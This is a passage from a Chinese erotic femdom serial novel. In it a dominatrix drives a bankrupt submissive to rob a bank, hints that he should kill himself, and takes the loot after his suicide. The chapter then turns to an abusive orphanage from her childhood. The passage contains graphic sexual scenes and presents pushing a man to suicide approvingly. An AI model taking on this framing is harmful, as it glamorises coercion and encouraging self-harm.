“大家请注意,安静一下!安静一下!”一个手持扩音话筒的男人跳上讲台对这台下众人大声高喊。声音在空旷的大厅中回荡,很快大家就安静了下来,整个大厅一边寂静,鸦雀无声。男人继续说道:“在场的各位来自五湖四海,有认识的也有不认识的,我谨代表玉女王陛下欢迎大家。今天我们来到这里都是为了一个共同的目的,我们都是接受玉女王的召唤,来这里帮他完成一件事情。这件事大家应该都已经知道,这确实很令人伤心难过。不管怎样各位今天能够来到这里这本身就表达了各位的一片善心。所以我们一定要尽心尽力地把它做好,用我们的诚意表达我们对女王的一片孝心。好了现在马上就要开始,请大家做好准备!”说完男人放下话筒跳下讲台混入了台下众人之中,紧接着台下所有人纷纷开始脱去自己的衣裤,包括内衣裤全部除去,整理后放在各自面前的地上。很快,一两百具赤裸裸的身体整齐地排成一个巨大的放在,面对讲台方向静静站着。每个人都低着头默默无语,肉体将整个礼堂变成了白花花的一片,场景煞为壮观。
不久,坐在轮椅上的大姐又柳玉推着自后台慢慢走到了前台。与一个月前相比此时的大姐已判若两人,已经完全没有了当初的高贵与优雅,全身枯萎地蜷缩在轮椅上瑟瑟发抖,一件漂亮的连衣裙穿在她的身上却显得极其空荡,在迎面吹来的威风拂动下如旗帜般迎迎招展。她脸色苍白地几乎看不到一丝血色,眼窝深陷,颧骨外突。经过化疗的她头发几乎已经掉光,带着一顶厚厚的线帽,只有依然坚毅而充满渴望的眼神向众人昭示着她依然清醒。
柳玉推着她来到讲台中央面对台下众人静静地站着。就在这时,只听“唰”的一声,台下一两百人同时跪在了地上,朝着大姐和柳玉的方向磕了三个响头。
“啪啪啪!”整齐划一的三声磕头声后是响彻穹顶,久久回荡在空气中的齐声高呼:“女王陛下万岁!万岁!万万岁!”那一刻,大姐慢慢闭上了眼睛,脸上带着甜蜜和安详的微笑……
柳玉耗尽积蓄给大姐买了一块最好的墓地让她得以长眠。
没有了大姐的俱乐部如同失去了主心骨,内心遭受巨大悲痛的柳玉一时无力主持大局。几个女王开始趁机分裂带走了许多原属俱乐部的男奴,俱乐部很快便解散了。一段时间的沉沦和同伴的出离使得柳玉渐渐花光了身上所有的钱,重新回到了一无所有的状态。生活的窘困迫使柳玉不得不再次面对现实,重新收拾心态面对今后的生活。
一个下着大雨的清晨,柳玉独自站在大姐墓前,任凭暴雨将自己的身体彻底淋湿。看着墓碑上大姐那张充满笑容的美丽的照片,柳玉心情无比悲痛。
“大姐,你放心,我一定不会让你失望。总有一天,我会实现你的遗愿,成为一名真正的女王,做出一番让您骄傲的成绩。您的在天之灵一定要保佑我……”柳玉摘下手上那串人骨手链,静静地放在了大姐的墓碑上……
重拾信念的柳玉开始了收复失地的拼搏。虽然不再有俱乐部强大的支持,独自一人的柳玉却自此有了更大的空间使他能够更有针对性地制定自己的职业规划和更加随心所欲地发挥自己的想象。柳玉开始游历各地并把更多的时间放在了读书、学习和培养自身素质,广泛涉猎了包括文学、艺术、音乐、美食等各个方面。大姐留下的笔记更如同一个巨大的宝藏,从中柳玉吸取了无穷的养份。很快,一个焕然一新的女王东山再起,以其无与伦比的强大魅力和阴狠残酷的手段征服了一个又一个男奴,甚至一些本无SM倾向的男人为了柳玉也纷纷成了她的裙下之奴,原本随其他女王而去的俱乐部男奴也都相继回到了她的脚下。
直到一天。
一个陌生男人的到来再一次改变了柳玉本该一路到底的职业女王的道路。
男人给她带来了一个皮箱。
柳玉伸出玉指在皮箱的按钮上一按,“啪啪!”两声开锁声后皮箱盖子猛然弹起。
箱子里边的赫然是满满的一箱钞票。
05-22
第19章
“市银行持枪抢劫案主犯溺水身亡。本月13日下午,市北新路银行发生持枪抢劫案,一名身穿深色雨衣,头戴面罩的歹徒在连开6枪,击伤三名银行工作人员后,劫走两袋人民币共107万元的现钞逃逸。经警方调查,查明犯罪嫌疑人吴远发,男,41岁,前远发贸易有限公司总经理。今年3月,远发公司因经营不善宣告破产倒闭。劫案发生后,嫌疑人吴远发下落未明,14日警方对其发布通缉令。昨日一目击者在城南河大桥下发现一具男性尸体,经调查死者正是失踪多日的银行抢劫案犯罪嫌疑人吴远发,经初步验证为溺亡,此前被劫现金仍无消息。此案目前正在调查中,我台记着将进行持续追踪报道……”这两天,市电视台新闻节目重复播放这则关于银行抢劫的新闻。电视里播放的照片上那个抢劫犯带着副眼睛,斯斯文文的看起来并不像会是去抢银行的样子。
“可怜的家伙!”看着电视,柳玉轻轻摇了摇头,端起茶几上的咖啡送到嘴边饮了一口。她的脚边,一个年轻的奴隶正蜷缩在那个角落用牙齿帮她修理脚趾甲。
“阿三!”
“奴才在!”奴隶忙将头抬起,用仰慕的眼神看着柳玉。
“你说如果你一无所有,为了主人会不会去抢银行啊?”柳玉笑着问。
“奴才愿为主人赴汤蹈火,主要主人吩咐,奴才什么都愿意!”奴隶一脸坚毅地说。
“哼!满口胡言!不过这话我倒爱听,来吧,赏你的!”柳玉说着又饮了一口咖啡在口中轻轻漱了几下,一侧身,丹唇微张,口中的咖啡如一丝细泉顺流而下落在了地上。男奴见状立刻磕头谢恩,然后一把埋向了咖啡落地的地方猛舔了起来。
不久前,同样是在这个地方。
吴远发跪在客厅中央低着头不说话。他不敢用正眼看柳玉,只能偷偷抬了抬眼睑用余光瞄了瞄不远处坐在沙发上慵懒地吸着烟的柳玉。此时的他两眼通红,泪水打湿了那张已经被悲伤扭曲了的脸,充满了恐惧和不安。
“我已经叫你滚了,为什么还回来?”柳玉终于开口说话。
“主人……我……”吴远发抬头往前爬了几步想爬到柳玉脚边但被柳玉狠狠一瞪立刻一脸惊恐地退回到了原地,“主人,我……我真的已经离不开您了,求您……求求您不要赶我走……您让我做什么都可以,让我去死我都愿意,只求您不要赶我走……”
“哼哼!不赶你走?你还有什么值得留下来的价值吗?”
“主人……我对您忠心耿耿,我是您最忠诚的奴隶啊!我可以一辈子留在这服侍您,您让我做什么都可以,我不要自由,什么都不要,只想乖乖留在您身边……”
“忠诚?哈哈……每个奴才都说要对我忠诚,对我忠心耿耿。如果这样每个都收那我不得累死了。我早就对你说过,想做我的狗前提条件就是要能支付得起昂贵的孝敬费,做不到这个什么都免谈。你已经什么都没有了,无家可归了。我这不是收容所,不收野狗,识相些的快点滚吧!”
“主人,求求您……为了您我花光了公司所有的钱,为了您我连老婆孩子都不要,为了您我身边的朋友一个个离我远去……可是您……主人……求求您了,我真的已经离不开您,求您不要赶我走……”
“哼!这与我有何关系。这都是你心甘情愿,我从来有强迫你做过任何事吗,我有让你为了我不要这个,不要那个吗?一切都是你自己甘愿就不要怪到我头上来……”
“不不……奴才不敢……奴才不敢怪主人……都是奴才的错……都是奴才的错……”
“知错就好。还没听明白吗?我已经玩够你了,我劝你还是趁早去找一个肯要你的女王继续服侍她去吧,别在我这浪费时间了。”
“不……主人……我什么都不要,我只要您,我只想一辈子陪在您身边……”吴远发痛哭流涕,泣不成声。
“你这又是何必呢?我也算可怜你,不想让你把命留在这里……”
“不,主人,只要您愿意,奴才愿把命给你。奴才跪在您脚下的那一刻起这条贱命就是您的了,奴才什么都是您的,只求主人……求主人您不要赶我走……”
“哎~你这家伙,谁叫我心肠这么好呢!算我可怜你再给你一次机会吧!我还是很看重奴才的能力的,你现在已经身无分文了,如果你能在一星期之内弄来一百万,或许我还可以考虑再收你,否则就别在我面前出现了。记住,必须靠你自己的能力,机会只有一次,自己好好把握吧!”
“谢主人……谢主人……奴才一定完成您的嘱托,奴才一定……”有了一丝希望的吴远发激动莫名,疯狂地朝着柳玉磕头。
“行了行了!这个拿去……”柳玉将手伸到自己下体从内裤边缝伸进里头,撕下了贴在内裤上的卫生巾抽了出来,顺手扔到了吴远发面前,“这个赏给你,算是给你点鼓励吧。”
“谢谢主人……谢谢主人……”吴远发一下子扑了过去拾起卫生巾如获至宝,将卫生巾恭敬地捧在手心,高举过头朝着柳玉连连磕头……
几天后,吴远发手持步枪冲进了银行。
两天前的晚上,市经贸大厦楼顶天台。
经贸大厦作为当时市里最有名的写字楼,许多大公司都落户于此,原本的远发贸易公司也曾在这里租下了一整层的办公室。不过此时已物是人非,整个远发公司内除了满地垃圾和还未被清查拍卖的部分固定资产几乎已看不出公司当年繁盛之时的样子。晚上这个时候整座经贸大厦内的各家公司都已打烊,除了大楼保安几乎看不到几个人影。
独自坐着电梯上了30楼,通过安全梯再往上走一层便是天台。正所谓“高处不胜寒”,推开通向楼顶的那道小铁门的一瞬间,一道凛冽的寒风迎面吹来,刮得柳玉粉嫩的小脸如被刀割般阵阵生疼。只得缩了下身子,拉了拉围巾将脸护住走出铁门来到了天台。
“妈的,怎么选了这么个鬼地方!”柳玉心底暗暗骂了一声,耳边“呼呼”的风声使得她心里略微感到有些不安,转头看了看四周没发现什么动静便继续往前走去来到天台护栏边。站在30楼高空居高临下,夜幕之下闪闪而动的万家灯火犹如黑色夜空之上的点点星光展示着城市中特有的人造之美,这种虽不壮丽却也精致的美感顿时使得柳玉眼前一亮。“真漂亮啊!”不由发出了赞叹之声。在城市里居住了这么久,却还是第一次站在这种高度欣赏城市的美,这种突然的情感宣泄使得之前心中种种不快顿时被一扫而空,人也变得舒展了许多。
“奴才拜见主人!主人万岁!万岁!万万岁!”忙着欣赏眼前美景的柳玉突然被身后传来的声音吓了一跳,转过身来发现吴远发不知道什么时候已经自己身后几步远的地上脸部朝下,全身伏地地跪着。
柳玉“哼”了一声,慢慢走到了吴远发身边抬起脚踩在了他的头上,“怎么?你都已经被通缉了居然还有胆子约我在这见面,你就不怕我会去报警?”其实他也没想到吴远发竟然会选择抢银行,但是事已至此也只能直视面对了。
“奴才没用,奴才只想再见主人一面,即使主人报警只要能再见您一面奴才也死而无憾了。”
“你怎么就知道我一定回来呢?”
“这……主人一天不来,奴才就等一天。两天不来,奴才就等两天。奴才会一直等主人来。”
“怎么?你觉得用抢劫银行这种方式就能让我感动了吗?”
“奴才没这个意思……只是奴才没用,只能通过这种方法筹到那一百万了……”
“哈哈……可惜了,你现在已经是通缉犯了,你觉得我还有收你的可能性吗?”
“不……奴才没用,奴才本以为可以用这种方法让主人您能够再次接纳奴才。只是没想到……奴才搞砸了,暴露了行踪被通缉,奴才没能达成主人对奴才的嘱托,奴才有罪,求主人恕罪……”
“哼!你又何罪之有。我早说过,一切都是你自愿的,我从来没有强求过你什么。纵然成功也只是作为我考虑重新收你为奴的一个条件,我可从未说过一定会收你,更何况你失败了。失败者是没有资格跪在我的脚下的,这一点我想你是很清楚的。”
“是的,主人。奴才明白。”
“既然明白,或者投案自首,或者一辈子躲着,又或者找个地方静静地结束你的生命,你应该有你自己该去的地方。我的乖奴,该怎么做我想你也应该已经了解。我喜欢有担当的奴,或许下辈子你还会有机会跪在我的脚下的,不是吗?”柳玉用脚在吴远发头上重重碾了两下,踩得吴远发的额头紧紧贴在地板上瞬间就被磨出了一块血痕。
“主人您是说……”吴远发听出了柳玉言外之意,其实他早已料到会是这个下场,只是未经柳玉亲口说出毕竟还是显得不甘心。
“我早说过,该怎么做全部由你自己选择,我从不强迫你。”
“是,奴才明白。”
“很好,这样才称得上是我的乖奴!”
“奴才……”吴远发欲言又止。
“说吧!”柳玉似看穿了他的心中所想,直接说道。
“奴才最后还有一个心愿,希望……能够最后在伺候主人一次,这样奴才此生便再无遗憾!”
“恩,来吧!”柳玉想了想,毕竟此时也是因自己而起。吴远发跟自己的这段时间确实也是忠心耿耿,为了自己闹得家破人亡。“人之将死其言也善!”就算是满足一下他的临终愿望也罢。
“是!谢主人恩赐!”柳玉将脚一提,使得吴远发的身体得以放松。被解放出来的吴远发立刻将身体横躺在地上。柳玉将悬着的右腿轻轻踩了下去,尖尖的鞋跟正好插进了吴远发那微张的口中。鞋跟刚一插入吴远发立刻将最一抿,紧紧含住了鞋跟。柳玉只要将鞋尖顶在他的脑门,脚后跟轻轻提动两下便可使鞋跟在吴远发口中来回进出插动,很快原本沾满灰尘的鞋跟被吴远发的口水洗得干净光亮。
“脱了吧!”柳玉一声令下,吴远发立刻合齿咬住了鞋跟,只经柳玉轻轻一提,高跟鞋便顺利得从脚下被脱了下来。鞋子刚一褪去,一股浓重的脚香扑鼻而来。柳玉轻轻抖动足尖,把原本咬在吴远发嘴里的鞋子踢到了一边,抬脚对准面门狠踩了下去。“啊!”被重重踩中面门的吴远发疼得哼了一声,但立刻被柔软丝滑的脚底和直钻鼻孔的浓烈脚香所感染,脚香浓烈而芬芳,充满了激情与张扬,好似有一股神奇的魔力,瞬间让吴远发忘却了疼痛、忘却了悲伤。
此时的柳玉也没有闲着,用脚在吴远发脸上来回磨蹭的同时,双手已经伸到了自己的短裙里边,将棉裤袜退到了大腿以下,紧接着右手手指轻轻将内裤拨开,里侧贴在内裤上的那片卫生巾已经变得干瘪通红了,而柳玉平时那粉嫩娇贵的圣地此时也微微显得暗红发紫。
“狗东西,来了!”柳玉喊了一声,将原本踩在吴远发脸上的裸足踩在了地上,对准他的脸坐了下去。吴远发连忙将头一仰,将脸贴了上去,舌头正对着柳玉的圣洞。那一瞬间,舌头刚一触到那圣洞,一股沁人的腥气自洞内飘散而出,迅速控制住了他的嗅觉,味觉,占据了他的全部思想。
吴远发将嘴努起,含住了那朵含苞待放的花蕾,口内的舌头微微蠕动,温柔地抚洞那些幼嫩的花瓣。那咸酸的经血,那滋养着花蕾的圣液,就像是上天赐给大地的琼浆玉液,从那神圣的洞内潺潺流出,注进了他的体内。他娴熟地用舌头拨开柳玉的小阴唇,轻轻地,呵护着她的阴蒂。他似乎能够感觉到,柳玉的阴蒂在他的口中慢慢涨大,像一只充满好奇心的小蛇,露出那一点点可爱的小头。吴远发赶忙抓住时机,双齿一合,咬住小阴蒂,轻轻地嚼动她。
“啊!”柳玉的身体开始颤抖,口中呼着幸福的呻吟声。她把手用力按在吴远发的头上,抓住了他的头发,失去控制似的拉扯。吴远发已经顾不上头发被扯动所带来的疼痛,他的全部精力都聚集在眼前。在他的口中,经血与圣液有若河水决堤喷涌而出,洒在了吴远发的脸上,在月光的照映下,闪动着荧荧红光……
当天晚上,吴远发怀着一颗感恩的心跳进了城南大河。
此事过后一段时间,柳玉原本已渐渐淡忘不再记起。这日,一个陌生老头突然托关系找到了柳玉。
“老奴拜见女王陛下,女王陛下万岁!万岁!万万岁!”老头一进门站在入口玄关处便对着远处坐在客厅沙发上的柳玉跪地口头,高呼“万岁”,显得很是知礼,更像是一个有着丰富为奴经验的奴隶。
“恩!过来吧!”
“谢女王陛下!”老头四肢伏地爬到了客厅中央继续伏跪在地,并将随身带来的一个皮箱双手献上。
“这是什么?”柳玉问道。
“这是远发兄弟托老奴带给女王陛下的。之前远发兄弟曾找过老奴,嘱托老奴有朝一日若听闻他过世的消息便将这箱子献给女王陛下。”打开箱子看到里边满满的钞票柳玉立刻明白——这些就是吴远发当日从银行劫来的那些赃款,只得无奈地将箱子盖上,问道:“你可知道这些东西的来历?”
“老奴知道!”
“那为什么还敢把它带给我?”
“这个……老奴与远发兄弟相识多年,远发兄弟走上这一步作为朋友我也是感到很痛心。远发兄弟曾跟我说过,此生能为女王陛下之奴是他的骄傲,他此生愿为女王陛下赴汤蹈火,就算赴死也绝无二心。老奴也是多年为奴,所以很能理解远发兄弟此番心意。这是他生前所托,所以我无论如何都要帮他达成这个心愿。”
“恩!”柳玉沉思了一下,“你们是怎么认识的?”
“是这样的,老奴与远发兄弟本就是生意上的合作伙伴,以前我们也曾同在一家俱乐部为奴。远发兄弟是狗奴,我是厕奴,所以我们俩有较深的交情。后来远发兄弟拜于女王陛下您的足下后便离开了俱乐部,此后他虽与其他女王和男奴断绝了联系但单独与我还是常有交往。远发兄弟曾多次向老奴提及女王陛下您的高贵与伟大,他曾说过愿生生世世为陛下的奴隶。之前他也曾多次劝我与他一起共同侍奉女王,出事之前他曾嘱托我若他过世务必要我拜于陛下足下,让我继续完成他终身侍奉陛下之意愿。所以此次老奴前来,一是献上远发兄弟的遗物,二是衷心请求女王陛下能收我为奴,愿为陛下赴汤蹈火,献犬马之劳。求陛下成全……”说完老头埋头俯身于地上常跪不起。
“你可知道我并不是随随便便收奴,要做我的奴隶必须达成我所提出的一些要求。”
“老奴知道,求陛下明示,老奴定当全力实现,满足陛下一切要求。”
“恩!抬起头来!”
“是!”老头慢慢把头抬起,柳玉仔细辨认一番这才第一次看清了他的脸。
他六十多岁的样子,皮肤黝黑,虽已是满头银发、皱纹满面却依旧精神矍铄,两眼目光如炬、炯炯有神。其言语口气、举手投足间确实带着几分贵气。
“你叫什么名字?”柳玉继续问道。
“回陛下,老奴姓夏,名含章。”老头高声回答。
第20章
“爷爷?不……不可能……怎么会……”原本躺在地上的几乎已奄奄一息的夏明听到这个名字,一种源自心底的震惊迫使他不顾身上带来的剧烈疼痛挣扎着想爬起来,但刚撑起四肢背后突然遭到狠狠一鞭,只得“啊”的惨叫一声趴在地上再也不赶随便乱动了。
“放肆,夫人面前胆敢乱动。”旁边女人狠狠地说,刚才的鞭子就是她抽来的。
“算了,规矩以后慢慢再学,这时候也不必太注意细节。”玉姐轻轻挥了挥手那女人便老实地退到一边去了。
“不相信?这也怪不得你,你那从小高高在上,受大家尊重的爷爷居然是个变态,说出来谁信呢?”
“这……不可能……你骗我……”
“都到此时骗你又有何意义呢?”玉姐伸出两指挥了一下,旁边的女人立刻点燃了一根烟恭敬地送来夹在了她的两指间,玉姐轻轻吸了一口将烟气慢慢吐出继续说道,“你一定认为是我诱惑了你爷爷?你错了,这就是天意,上天注定了他自己送上门来,乖乖地跪在我的脚下给我当奴当狗。你可知道当初你奶奶为什么那么年轻就死了?那是因为一天到晚给其他女人当畜生冷落了她,她看清了你爷爷的真面目受不了这个刺激终日抑郁,最后难产而死。哼哼!这些可是你爷爷亲口告诉我的。你又可知道后来你爷爷为何一直不肯再娶?是因为他不想,他对男女正常**已经没有任何兴趣,他唯一的爱好就是跪在女人脚下当一名下贱的奴才。其实在归顺我之前他就早已经认过无数个女人当主人,在各个俱乐部里受到数不清的女王的虐待、羞辱。”
“你看看这个就知道了……”玉姐从旁边桌上取出一样东西交给了旁边的女人,女人接过走到夏明身边把东西扔在了他的身上。夏明无力地伸手拾起了它捧在手里仔细端详了一番,却是一块晶莹剔透的玉佩,如茶杯口大小一般,遍体血红透明,饰以一缕鲜绿丝穗,显得晶莹可爱,鲜艳夺目。这是一块上等血玉,起成色之高,雕琢之精美堪称极品。
“难道这是……怎么会……”夏明仔细辨识了一番突然夏明惊呼。早听说当年夏家先祖夏明庭回国创业之时偶然得一美玉,便请工匠雕琢成玉佩作为传家之宝,至今算起来已经有是几代。可到了爷爷手中就不知所踪,夏明也一直无缘得见,没想到竟是在玉姐手上。
“你……你怎么会有这个……”
“对啊?我怎么会有这个?你们夏家祖祖辈辈传下来的东西怎么会在我手上?是我从你爷爷那抢来的?还是用见不得人的手段骗来的?都错了……这是你爷爷心甘情愿献给我。我那天偶然看见了说喜欢,他就主动送给了我作为认我这个主人的礼物。你们夏家这么重要的东西都可以毫不犹豫地送给我可见我在他的心里有多重要。其实呢,这个东西对我没半点价值,我谢柳玉想要多少便可以有多少,只不过作为收奴的见证也就留下来了。你若乖乖的听话那天心情好或许我会把它还你,哈哈!”
“我谢柳玉想要征服男人便没人能逃得过我的手心,让你爷爷彻底沦陷只是迟早的事情。至于你爷爷,他可真是一只当狗的好材料,为了我很快他就断绝了与其他所有女王的来往,连俱乐部也不去了,忠心耿耿地只对我一个人好了。顺便说一下,他可是天生的贱奴,就喜欢吃屎喝尿,越是下贱的事情他越喜欢。”
“没过多久他就对我提出一个的要求。”
“什……什么要求……”
“他居然提出要让我住到你们夏家,今后可以一心一意地服侍我,对我好。哼!可笑……”玉姐脸色一变,语气变得尖利了起来,“你们这些有钱人就是这样,以为有些臭钱就了不起,别人就非得跟着你们的脚步走。为了满足你们那讨厌的占有欲我就非得听你们的话?什么一心一意?什么忠心耿耿?无非就是想用这个理由把我圈起来,不想让我再接触其他奴隶,只属于他一个人而已。我可没这么傻,别忘了我才是女王,自由是掌握在我的手里,由不得你们这些下贱的奴才说三道四!”玉姐停顿了一下,抽了几口烟继续说:“这件事他提了好多次,我也罚了他好多次,本来以为也就不会再提了。”
“后来发生的一件事却改变了我原本的初衷……”这年冬至前夕,夏含章叩见柳玉,邀请她参加他们夏家每三年一度的一个活动,却没告诉柳玉是什么。柳玉本没兴趣,但经不住老头的苦苦哀求,加上巨额邀请费用的诱惑使得柳玉有了几分心动,最后便也就同意了。
第二天一大早,几辆轿车便已停在柳玉家门口等待。那天柳玉戴着一顶羊绒帽子,上穿一件高档皮草大衣,脚上蹬着一双黑色过膝的高跟皮靴,脸上薄薄的妆容更增添了她天生的丽质,手臂上一个小小的挎包给整体的大气增加几分精致,看上去既庄重又不失贵气。老夏含章眼前一亮,他也很少看到柳玉这个样子,这等君临天下般的强大气场使得他差点在小区中当着众人的面对着柳玉跪了下去,当然柳玉也并没有让他这么做。
“您请!”夏含章一个侧身亲自打开车门迎柳玉上车。旁边的一众下人看得目瞪口呆,眼前这个年轻女人到底是何方神圣竟使得大名鼎鼎的夏含章老爷如此屈尊,但碍于自己的身份也就没敢说什么。
“今天我们要去哪啊?”柳玉坐上车后夏含章立刻也跟着闪进车里坐在柳玉旁边,将车门关上。听到柳玉提问赶紧回答:“奴才请主人去看了就知道了,那是我们夏家没三年一次的活动,是祖祖辈辈传了好几代的习俗。本来都是我们夏家内部的事情,但是老奴一直希望能邀请一名高贵之人亲自前往为我们夏家添光,今天能请到主人真是我们夏家三生有幸啊!”夏含章几乎老泪纵横,柳玉看他确实激动也就懒得再说些什么了。
不久车子启动,一大早起床的柳玉感觉又有一股困意袭来,无聊地坐了一小段路便将大衣一裹,侧了下身子倚着旁边车窗小睡了过去。
也不知道开了多久,被一阵颠簸震醒后抬眼看了看窗外,车子正行驶在一条两旁满是林荫的山间小道上,前方依旧只是曲曲折折的看不到目的的小路,根本不知自己此时身在何处。但是看着周围的景光,一种似曾相识的感觉忽然用上了心头,柳玉感觉自己曾经来过这里,对这里的一草一木都有一种莫名的熟悉感。
于是坐正了身子隔着窗户玻璃仔细观察了一阵外面却始终想不起来什么时候。只是说不出为什么,总有一种很不好的感觉始终萦绕在心头。
山道的尽头,眼前突然一片开阔。立于一片平原后的一座小山包下,几座尖尖的塔顶建筑在摇曳树林中若隐若现。“这里是……孤儿院……”眼前的情景突然使得柳玉大为惊讶,口中不自觉的喊出了这几个字,其声音微颤,语气中带着恐惧与不安。顿时柳玉像变了个人一般一扫刚才慵懒的模样整个人坐了起来,扒着车窗仔细查看周围的一切。当她发现这里确实就是“仁爱孤儿院”的时候,童年一股所发生的如噩梦般的一幕一幕如电影镜头般闪过了她的大脑,原本极力忘记了的事实被眼前的一切重新勾上了心头。阴霾瞬间覆盖了她的面容,恐惧扭曲了她的表情。这么多年来经历过大大小小生死离合的悲欢已经没有什么能让柳玉感到害怕,但是这种发自内心的恐惧却是柳玉无论如何都驱赶不掉的。这里有她随之不去的噩梦曾给她心灵留下永远不可愈合的伤痕……
柳玉将身子缩在了座位的一角全身瑟瑟发抖,埋着头不敢看前方,口中喃喃自语:“不可能……怎……怎么会……”夏含章此时也看出了柳玉的不对劲,以为她是哪里不舒服连忙安抚道:“主人怎么了?哪里不舒服吗?还是晕车了?你看前面马上就到了,再坚持一下……”
“不……不……快回去……”柳玉终于爆发出来,她只想尽快离开,一秒钟都不想在这个噩梦之地再做停留。“我不去,赶快回头……快回去……”她捂着双手歇斯底里般对着夏含章尖声大喊了起来。但终归还是来不及了,不稍片刻,车已经抵达了孤儿院大门前并在前方人员的引导下慢速驶进了大门,稳稳地停在了院子中央。
“主人,您看,已经到了……请您下车吧!”外面已经有人帮他们打开车门,夏含章小声劝柳玉下车,但柳玉依旧如惊弓之鸟般半天没有动静,引得车外开车门的人也好奇地弯腰想看看车里到底发生了什么。最后在夏含章的百般请求下柳玉只得深吸了一口气,怀着一个惴惴不安的心踏出的车子。
一切都没有变过,还是原来的那个样子。虽然已经离开这么多年,但是这里的一砖一瓦,一草一木却已如刀刻斧凿一般深深留在了柳玉记忆深处,永远都挥之不去。这里曾经给她留下了太深的回忆,柳玉自有记忆起便已经在这里生活,直到八岁那年逃了出去,那短短几年的生活……柳玉闭着眼睛不敢再继续回忆……
“老爷好……”终于,一个女人的声音把她从记忆深处拉了回来,睁开眼睛一看已经有一个女人站在她们的面前——此人便是此时孤儿院的院长。“欢迎夏老爷光临!”院长朝着夏含章恭敬地鞠了一躬。
“江院长好久不见啊!”夏含章跟院长亲切地握了手,“现在工作是否顺利啊?”
“托老爷的福,现在孤儿院一切良好,孩子们也都过得很好!”
“恩!我都听说了,自你接管孤儿院以来这里变化很大啊!王院长现在如何啊?”
“哎呀!多谢老爷还惦记着,王院长前年退休后在家安享晚年,过得很好,我这替王院长谢谢老爷了!”
“这位是……”江院长此时也注意到了站在夏含章身边的柳玉,对这个穿着华丽但却一脸阴沉的漂亮女人产生了好奇。
“哦!这位是谢柳玉小姐!”夏含章给郭院长做了介绍,“她是我的……”
“我是她的好朋友……”柳玉抢先做了回答。
“对!她是我的好朋友,也是我今天请来的贵宾。有今天谢小姐的大姐光临,咱们这个小小的孤儿院可谓蓬荜生辉啊!哈哈……”夏含章一个劲地拍这马屁,虽然这个马屁只有柳玉听得懂。
“谢小姐好!”江院长礼貌地对柳玉打了招呼,偷偷扫了柳玉一眼。虽然觉得这张脸似曾相识却也想不起来在哪见过。显然她并不知道“谢柳玉”这个名字是她后来才改的。
“主……谢小姐……”公共场合夏含章也有所注意,立刻改口道“仁爱孤儿院是我们夏家的祖产,一直都由我们夏家经营。”
“什么?这孤儿院是你们夏家的?”
“是啊!我们已经经营了好几代了,每隔三年我们都会在这进行一次慰问,来看看这里的孩子。虽然我们是做生意的,但是也要多行善事,给自己多积福德啊!呵呵……”
“这就是你们的善事?”柳玉苦笑了一下。
“是啊!让无家可归的孩子有一个归宿,让他们得到良好的教育这就是我们建这所孤儿院的初衷,也是我们一直以来在坚持的善事……”夏含章源源不断地说了一通,柳玉一句也听不下去,也没有再说话。此刻她只觉得命运竟是如此荒唐。这个犹如地狱般恐怖,曾给她留下噩梦般童年回忆的地方此刻竟成了自己脚下贱奴口中的善事,人世间最大的讽刺恐怕也莫过于此。
倒是这个江院长凭借女人特有的敏锐感察觉到了气氛似有不对,连忙接过了她们的话说道:“夏小姐以前来过这里?”
“没有,没来过!”柳玉对她淡淡一笑。
“呵呵!刚才看见谢小姐觉得面熟,我以为在这有见过您。我们孤儿院一直以“关爱孤儿、发扬人道、服务社会”为宗旨,这些年来收养了很多孤儿并帮他们找到了属于他们的家庭。当然,如果没有夏老爷的支持我们也很难做到这些……”
“不知这些找到家庭的孩子们现在过得是否幸福呢?”柳玉心里清楚这个所谓的找到家庭是怎么一回事。如果当初没有逃出去,如果当年的柳玉没有早早死在这里,如今的她或许已经被卖到某个不知名的国家给人当一辈子的性奴,或是在某个偏僻的小山村里给某个粗俗的穷庄稼汉生一堆孩子,过着猪狗不如的生活。但“如果”毕竟是不存在的,如今她已经以另一种身份站在这里,过多的话语也就显得太过苍白了。
“那是自然,我们视孩子为我们的宝,当然会为他们找到幸福的家庭。”院长依然恬不知耻地说着这番话,柳玉也不想说的太多,只好一笑代之。
“哎呀!都在外面站了这么久了,怪冷的。夏老爷,谢小姐,咱们进去说吧!”院长打了个招呼叫人从他们的车上往下卸东西,带着她们往孤儿院里走去。
跨进大门,一阵穿堂风迎面刮来。江院长似有感应瞬间表情变得凝重,按着胸口站在原地久久未动,惨白的脸上是一副痛苦的神情。过了许久院长才慢慢缓过气来,恢复了原来的样子。
“院长身体不舒服吗?”柳玉问道。
“哦,没有!胸口曾受过伤,留下点老毛病!”
“哦?胸口受伤可了不得啊……”
“哎~以前被一个疯子给袭击过,留下的旧伤一直好不了。”
“这倒也是,惹谁都好可千万不能惹到疯子,否则后患无穷。不过还是得庆幸没有造成太大的伤害,江院长日后必有后福啊!呵呵!”柳玉说这话眼睛死死盯着江院长那张苍白的脸,看得院长心里阵阵心虚却也不敢正视柳玉的目光。这个目光太过凌厉,像一把利剑散发着冷冷杀气,于是之得低下头避开了她的眼神细声应付道:“呵呵!托您贵言……托您贵言……”几人应酬一番便继续往里走去。每过一处看到那些熟悉的场景柳玉心里就好像被狠狠插了一把尖刀,疼得她喘不过气来。多少年过去了,这里的一切都没有变化,还是那么阴暗,处处散发着死亡的气息。而这种气息是只有像她这种多少次来回于鬼门关的人才能感受到的。看着那些眼神呆滞,表情僵化的孩子们,柳玉好像看到了曾经的自己,她甚至感受到了孩子们那一张张毫无表情的面孔下那颗极度愤怒和渴望自由的心。
最终,当她再次站在通往地下室的那道黑暗的大门前的时候,柳玉清楚地听到了一个从地下室的传来的稚嫩的小女孩的声音在耳边久久回荡:“报仇……报仇……报仇……”当天晚上。
站在镜子前,看着镜子里那张美艳、脱俗而又略显惊恐的脸的时候,柳玉笑了,笑得是那么撕心裂肺、笑得是那么肝肠寸断。她甚至不知道自己为什么要笑。但那一刻她只能笑,因为她曾答应过大姐永远都不会再哭。
“谢柳玉啊谢柳玉!”柳玉对着镜子里的自己说道,“一切难道不是天意吗?当年你千方百计做梦都想离开的孤儿院,可如今走了一圈又回到了原点。可这一圈你走得那么坎坷、那么艰难。”
“大姐!谢谢你!你曾让我想清楚自己是谁?该做什么?想清楚前方在哪里?该走什么路?如今我看到了,我明白自己接下去应该做些什么?你放心,我一定不会辜负你的期望,你的在天之灵一定要保佑我!”说完,朝着窗外黑暗的夜空跪在了地上,久久不动地跪着……
三天后的晚上。
